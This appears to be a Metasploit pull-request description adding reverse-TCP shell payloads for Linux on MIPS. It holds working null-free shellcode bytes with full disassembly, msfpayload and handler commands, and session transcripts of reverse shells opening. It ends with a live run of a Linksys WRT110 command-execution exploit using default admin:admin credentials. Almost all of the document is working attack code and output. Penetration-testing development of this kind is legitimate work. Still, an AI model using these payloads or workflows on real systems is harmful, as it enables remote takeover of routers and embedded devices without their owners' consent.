Add shell/reverse_tcp payloads for MIPS (little and big endian)

Summary of changes:

* Adds the shell stage compatible for mips be and mips le
* Adds the reverse_tcp stager for mips be (null free)
* Adds the reverse_tcp stager for mips le (null free)
* Adds function to metasm_shell.rb in order to easier the acquisition of the payload strings.

TODO:

* I need to optimize a little bit the stagers. In the next pull request. Time available expired for this pr
* Add bind_tcp stagers. In the next pull request. Time available expired for this pr

Verification
=========

mipsle
--------

- [ ] Use msfpayload to create an elf embedding the stager

```
juans-mbp:metasploit-framework juan$ ./msfpayload linux/mipsle/shell/reverse_tcp LHOST=192.168.172.1 X > /tmp/shell.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsle/shell/reverse_tcp
 Length: 212
Options: {"LHOST"=>"192.168.172.1"}
```

- [ ] Execute  the msfconsole and use exploit/multi/handler to setup a handler listening for the payload

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/mipsle/shell/reverse_tcp 
payload => linux/mipsle/shell/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...

```

- [ ] Upload the elf created with msfpayload to a MIPS LE machine, provide +x and execute!

```
juan@debian:~/test$ ls -la shell.elf 
-rw-r--r-- 1 juan juan 296 Jan  8 23:23 shell.elf
juan@debian:~/test$ chmod +x shell.elf 
juan@debian:~/test$ ./shell.elf
```

- [ ] You should be enjoying a session on the msfconsole

```
[*] Starting the payload handler...
[*] Sending stage (84 bytes) to 192.168.172.134
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.134:59129) at 2014-01-14 14:20:26 -0600

uname -a
Linux debian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
ls
shell.elf
^C
Abort session 3? [y/N]  y

[*] 192.168.172.134 - Command shell session 3 closed.  Reason: User exit
```

mipsbe
---------

- [ ] Use msfpayload to create an elf embedding the stager

```
juans-mbp:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell/reverse_tcp LHOST=192.168.172.1 X > /tmp/shell.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsbe/shell/reverse_tcp
 Length: 212
Options: {"LHOST"=>"192.168.172.1"}
```

- [ ] Execute  the msfconsole and use exploit/multi/handler to setup a handler listening for the payload

```
msf exploit(handler) > set payload linux/mipsbe/shell/reverse_tcp 
payload => linux/mipsbe/shell/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...

```

- [ ] Upload the elf created with msfpayload to a MIPS BE machine, provide +x and execute!

```
juan@mipsdebian:~/test$ ls -la
total 12
drwxr-xr-x 2 juan juan 4096 Jan 11 07:29 .
drwxr-xr-x 4 juan juan 4096 Jan 11 07:29 ..
-rw-r--r-- 1 juan juan  296 Jan 11 07:29 shell.elf
juan@mipsdebian:~/test$ chmod +x shell.elf 
juan@mipsdebian:~/test$ ./shell.elf 

```

- [ ] You should be enjoying a session on the msfconsole

```
[*] Starting the payload handler...
[*] Sending stage (84 bytes) to 192.168.172.134
[*] Command shell session 4 opened (192.168.172.1:4444 -> 192.168.172.134:59130) at 2014-01-14 14:23:25 -0600

uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux
ls
shell.elf
file shell.elf
shell.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size

```

payload generation with tools/metasm_shell.rb
------------------------

- [ ] Run tools/metasm_shell.rb with the ```-a mips -e big``` options, the shell should appears:

```
juans-mbp:metasploit-framework juan$ tools/metasm_shell.rb -a mips -e big 
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file

metasm > 
```

- [ ] VERIFY which there is a new line about how to use the shell:

```
type "file <file>" to parse a GAS assembler source file
```

- [ ] execute ```file external/source/shellcode/linux/mipsbe/stager_sock_reverse.s``` (adjust the path if necessary), the next output should be received:

```
metasm > file external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
Reading file external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
buf = 
"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
"\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
"\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
"\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
"\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
"\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
"\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
"\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
"\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
"\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
"\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
"\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" +
"\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" +
"\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
"\xf8\x09"



entrypoint_0:
    li $t7, -6                                   ; @0  240ffffa  
    not $t7, $t7                                 ; @4  01e07827  
    addi $a0, $t7, -3                            ; @8  21e4fffd  
    addi $a1, $t7, -3                            ; @0ch  21e5fffd  
    slti $a2, $zero, -1                          ; @10h  2806ffff  
    li $v0, 1057h                                ; @14h  24021057  
    syscall 40404h                               ; @18h  0101010c  
    sw $v0, -4($sp)                              ; @1ch  afa2fffc  
    lw $a0, -4($sp)                              ; @20h  8fa4fffc  
    li $t7, -3                                   ; @24h  240ffffd  
    not $t7, $t7                                 ; @28h  01e07827  
    sw $t7, -20h($sp)                            ; @2ch  afafffe0  
    lui $t6, 115ch                               ; @30h  3c0e115c  
    sw $t6, -1ch($sp)                            ; @34h  afaeffe4  
    lui $t6, 7f00h                               ; @38h  3c0e7f00  
    ori $t6, $t6, 1                              ; @3ch  35ce0001  
    sw $t6, -1ah($sp)                            ; @40h  afaeffe6  
    addiu $a1, $sp, -1eh                         ; @44h  27a5ffe2  
    li $t4, -11h                                 ; @48h  240cffef  
    not $a2, $t4                                 ; @4ch  01803027  
    li $v0, 104ah                                ; @50h  2402104a  
    syscall 40404h                               ; @54h  0101010c  
    li $a0, -1                                   ; @58h  2404ffff  
    li $a1, 1001h                                ; @5ch  24051001  
    addi $a1, $a1, -1                            ; @60h  20a5ffff  
    li $t1, -8                                   ; @64h  2409fff8  
    not $t1, $t1                                 ; @68h  01204827  
    add $a2, $t1, $zero                          ; @6ch  01203020  
    li $a3, 802h                                 ; @70h  24070802  
    li $t3, -16h                                 ; @74h  240bffea  
    not $t3, $t3                                 ; @78h  01605827  
    add $t3, $sp, $t3                            ; @7ch  03ab5820  
    sw $zero, -1($t3)                            ; @80h  ad60ffff  
    sw $v0, -5($t3)                              ; @84h  ad62fffb  
    li $v0, 0ffah                                ; @88h  24020ffa  
    syscall 40404h                               ; @8ch  0101010c  
    sw $v0, -8($sp)                              ; @90h  afa2fff8  
    lw $a0, -4($sp)                              ; @94h  8fa4fffc  
    lw $a1, -8($sp)                              ; @98h  8fa5fff8  
    li $a2, 1001h                                ; @9ch  24061001  
    addi $a2, $a2, -1                            ; @0a0h  20c6ffff  
    li $v0, 0fa3h                                ; @0a4h  24020fa3  
    syscall 40404h                               ; @0a8h  0101010c  
    lw $a0, -8($sp)                              ; @0ach  8fa4fff8  
    add $a1, $v0, $zero                          ; @0b0h  00402820  
    li $t1, -3                                   ; @0b4h  2409fffd  
    not $t1, $t1                                 ; @0b8h  01204827  
    add $a2, $t1, $zero                          ; @0bch  01203020  
    li $v0, 1033h                                ; @0c0h  24021033  
    syscall 40404h                               ; @0c4h  0101010c  
    lw $s1, -8($sp)                              ; @0c8h  8fb1fff8  
    lw $s2, -4($sp)                              ; @0cch  8fb2fffc  
    jalr $s1                                     ; @0d0h  0220f809  noreturn
```

- [ ] VERIFY which the ```buf``` ruby string is the same than the one included on payloads/stagers/linux/mipsbe/reverse_tcp.rb

- [ ] execute ```file external/source/shellcode/linux/mips/stage_tcp_shell.s``` (adjust the path if necessary), the next output should be received:

```
metasm > file external/source/shellcode/linux/mips/stage_tcp_shell.s
Reading file external/source/shellcode/linux/mips/stage_tcp_shell.s
buf = 
"\x24\x11\xff\xfd\x02\x20\x88\x27\x02\x40\x20\x20\x02\x20" +
"\x28\x20\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff" +
"\x22\x31\xff\xff\x16\x11\xff\xfa\x24\x18\xff\xff\x07\x10" +
"\xff\xff\x28\x18\xff\xff\x23\xe4\x00\x1c\xaf\xa4\xff\xf8" +
"\xaf\xa0\xff\xfc\x23\xa5\xff\xf8\x28\x06\xff\xff\x24\x02" +
"\x0f\xab\x01\x01\x01\x0c"



entrypoint_0:
    li $s1, -3                                   ; @0  2411fffd  
    not $s1, $s1                                 ; @4  02208827  
    add $a0, $s2, $zero                          ; @8  02402020  



// Xrefs: 20h
loc_0ch:
    add $a1, $s1, $zero                          ; @0ch  02202820  
    li $v0, 0fdfh                                ; @10h  24020fdf  
    syscall 40404h                               ; @14h  0101010c  
    li $s0, -1                                   ; @18h  2410ffff  
    addi $s1, $s1, -1                            ; @1ch  2231ffff  
    bne $s1, $s0, loc_0ch                        ; @20h  1611fffa  x:loc_0ch
    li $t8, -1                                   ; @24h  2418ffff  



// Xrefs: 28h
loc_28h:
    bltzal $t8, loc_28h                          ; @28h  0710ffff  noreturn x:loc_28h
    slti $t8, $zero, -1                          ; @2ch  2818ffff  


    addi $a0, $ra, 1ch                           ; @30h  23e4001c  
    sw $a0, -8($sp)                              ; @34h  afa4fff8  
    sw $zero, -4($sp)                            ; @38h  afa0fffc  
    addi $a1, $sp, -8                            ; @3ch  23a5fff8  
    slti $a2, $zero, -1                          ; @40h  2806ffff  
    li $v0, 0fabh                                ; @44h  24020fab  
    syscall 40404h                               ; @48h  0101010c  
```

- [ ] VERIFY which the ```buf``` ruby string is the same than the one included on payloads/stages/linux/mipsbe/shell.rb, minus the "\x2f\x62\x69\x6e\x2f\x73\x68\x00" suffix. (It's the "/bin/sh" string which isn't disassembled by metasm)

- [ ] Type ```exit``` to exit the metasm shell

- [ ] Run tools/metasm_shell.rb with the ```-a mips -e little``` options, the shell should appears:

- [ ] execute ```file external/source/shellcode/linux/mipsle/stager_sock_reverse.s``` (adjust the path if necessary), the next output should be received:

```
metasm > file external/source/shellcode/linux/mipsle/stager_sock_reverse.s
Reading file external/source/shellcode/linux/mipsle/stager_sock_reverse.s
buf = 
"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
"\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
"\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
"\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
"\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
"\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
"\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
"\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
"\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
"\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
"\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
"\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
"\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" +
"\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" +
"\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
"\x20\x02"



entrypoint_0:
    li $t7, -6                                   ; @0  faff0f24  
    not $t7, $t7                                 ; @4  2778e001  
    addi $a0, $t7, -3                            ; @8  fdffe421  
    addi $a1, $t7, -3                            ; @0ch  fdffe521  
    slti $a2, $zero, -1                          ; @10h  ffff0628  
    li $v0, 1057h                                ; @14h  57100224  
    syscall 40404h                               ; @18h  0c010101  
    sw $v0, -4($sp)                              ; @1ch  fcffa2af  
    lw $a0, -4($sp)                              ; @20h  fcffa48f  
    li $t7, -3                                   ; @24h  fdff0f24  
    not $t7, $t7                                 ; @28h  2778e001  
    sw $t7, -1eh($sp)                            ; @2ch  e2ffafaf  
    li $t6, 5c11h                                ; @30h  115c0e34  
    sw $t6, -1ch($sp)                            ; @34h  e4ffaeaf  
    lui $t6, 100h                                ; @38h  00010e3c  
    ori $t6, $t6, 7fh                            ; @3ch  7f00ce35  
    sw $t6, -1ah($sp)                            ; @40h  e6ffaeaf  
    addiu $a1, $sp, -1eh                         ; @44h  e2ffa527  
    li $t4, -11h                                 ; @48h  efff0c24  
    not $a2, $t4                                 ; @4ch  27308001  
    li $v0, 104ah                                ; @50h  4a100224  
    syscall 40404h                               ; @54h  0c010101  
    li $a0, -1                                   ; @58h  ffff0424  
    li $a1, 1001h                                ; @5ch  01100524  
    addi $a1, $a1, -1                            ; @60h  ffffa520  
    li $t1, -8                                   ; @64h  f8ff0924  
    not $t1, $t1                                 ; @68h  27482001  
    add $a2, $t1, $zero                          ; @6ch  20302001  
    li $a3, 802h                                 ; @70h  02080724  
    li $t3, -16h                                 ; @74h  eaff0b24  
    not $t3, $t3                                 ; @78h  27586001  
    add $t3, $sp, $t3                            ; @7ch  2058ab03  
    sw $zero, -1($t3)                            ; @80h  ffff60ad  
    sw $v0, -5($t3)                              ; @84h  fbff62ad  
    li $v0, 0ffah                                ; @88h  fa0f0224  
    syscall 40404h                               ; @8ch  0c010101  
    sw $v0, -8($sp)                              ; @90h  f8ffa2af  
    lw $a0, -4($sp)                              ; @94h  fcffa48f  
    lw $a1, -8($sp)                              ; @98h  f8ffa58f  
    li $a2, 1001h                                ; @9ch  01100624  
    addi $a2, $a2, -1                            ; @0a0h  ffffc620  
    li $v0, 0fa3h                                ; @0a4h  a30f0224  
    syscall 40404h                               ; @0a8h  0c010101  
    lw $a0, -8($sp)                              ; @0ach  f8ffa48f  
    add $a1, $v0, $zero                          ; @0b0h  20284000  
    li $t1, -3                                   ; @0b4h  fdff0924  
    not $t1, $t1                                 ; @0b8h  27482001  
    add $a2, $t1, $zero                          ; @0bch  20302001  
    li $v0, 1033h                                ; @0c0h  33100224  
    syscall 40404h                               ; @0c4h  0c010101  
    lw $s1, -8($sp)                              ; @0c8h  f8ffb18f  
    lw $s2, -4($sp)                              ; @0cch  fcffb28f  
    jalr $s1                                     ; @0d0h  09f82002  noreturn
```

- [ ] VERIFY which the ```buf``` ruby string is the same than the one included on payloads/stagers/linux/mipsle/shell/reverse_tcp.rb

- [ ] execute ```file external/source/shellcode/linux/mips/stage_tcp_shell.s``` (adjust the path if necessary), the next output should be received:

```
metasm > file external/source/shellcode/linux/mips/stage_tcp_shell.s
Reading file external/source/shellcode/linux/mips/stage_tcp_shell.s
buf = 
"\xfd\xff\x11\x24\x27\x88\x20\x02\x20\x20\x40\x02\x20\x28" +
"\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" +
"\xff\xff\x31\x22\xfa\xff\x11\x16\xff\xff\x18\x24\xff\xff" +
"\x10\x07\xff\xff\x18\x28\x1c\x00\xe4\x23\xf8\xff\xa4\xaf" +
"\xfc\xff\xa0\xaf\xf8\xff\xa5\x23\xff\xff\x06\x28\xab\x0f" +
"\x02\x24\x0c\x01\x01\x01"



entrypoint_0:
    li $s1, -3                                   ; @0  fdff1124  
    not $s1, $s1                                 ; @4  27882002  
    add $a0, $s2, $zero                          ; @8  20204002  



// Xrefs: 20h
loc_0ch:
    add $a1, $s1, $zero                          ; @0ch  20282002  
    li $v0, 0fdfh                                ; @10h  df0f0224  
    syscall 40404h                               ; @14h  0c010101  
    li $s0, -1                                   ; @18h  ffff1024  
    addi $s1, $s1, -1                            ; @1ch  ffff3122  
    bne $s1, $s0, loc_0ch                        ; @20h  faff1116  x:loc_0ch
    li $t8, -1                                   ; @24h  ffff1824  



// Xrefs: 28h
loc_28h:
    bltzal $t8, loc_28h                          ; @28h  ffff1007  noreturn x:loc_28h
    slti $t8, $zero, -1                          ; @2ch  ffff1828  


    addi $a0, $ra, 1ch                           ; @30h  1c00e423  
    sw $a0, -8($sp)                              ; @34h  f8ffa4af  
    sw $zero, -4($sp)                            ; @38h  fcffa0af  
    addi $a1, $sp, -8                            ; @3ch  f8ffa523  
    slti $a2, $zero, -1                          ; @40h  ffff0628  
    li $v0, 0fabh                                ; @44h  ab0f0224  
    syscall 40404h                               ; @48h  0c010101  
```

- [ ] VERIFY which the ```buf``` ruby string is the same than the one included on payloads/stages/linux/mipsle/shell.rb, minus the "\x2f\x62\x69\x6e\x2f\x73\x68\x00" suffix. (It's the "/bin/sh" string which isn't disassembled by metasm)

Extra validation step
--------------------------

- [ ] Use the payloads on existent modules for real vulns :) enjoy shells! Example:

```
msf exploit(linksys_wrt110_cmd_exec) > show options

Module options (exploit/linux/http/linksys_wrt110_cmd_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  admin            no        Password to login with
   Proxies                    no        Use a proxy chain
   RHOST     192.168.1.1      yes       The address of the router
   RPORT     80               yes       The target port
   TIMEOUT   20               no        The timeout to use in every request
   USERNAME  admin            yes       Valid router administrator username
   VHOST                      no        HTTP server virtual host


Payload options (linux/mipsle/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.100    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux mipsel Payload


msf exploit(linksys_wrt110_cmd_exec) > exploit

[*] Started reverse handler on 192.168.1.100:4444 
[*] 192.168.1.1:80 - Trying to login with admin:admin
[+] 192.168.1.1:80 - Successful login admin:admin
Executable here: /tmp/UxZdC
[*] Sending stage (84 bytes) to 192.168.1.1
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.1:32778) at 2014-01-14 13:55:15 -0600
ls

[*] Command Stager progress - 100.00% done (1536/1536 bytes)

AdminDiag.htm
AdminManage.htm
AdminRebootConfig_Clicked.htm
AdminRebootConfig_Clicked_reboot.htm
AdminReport.htm
AdminRestore.htm
```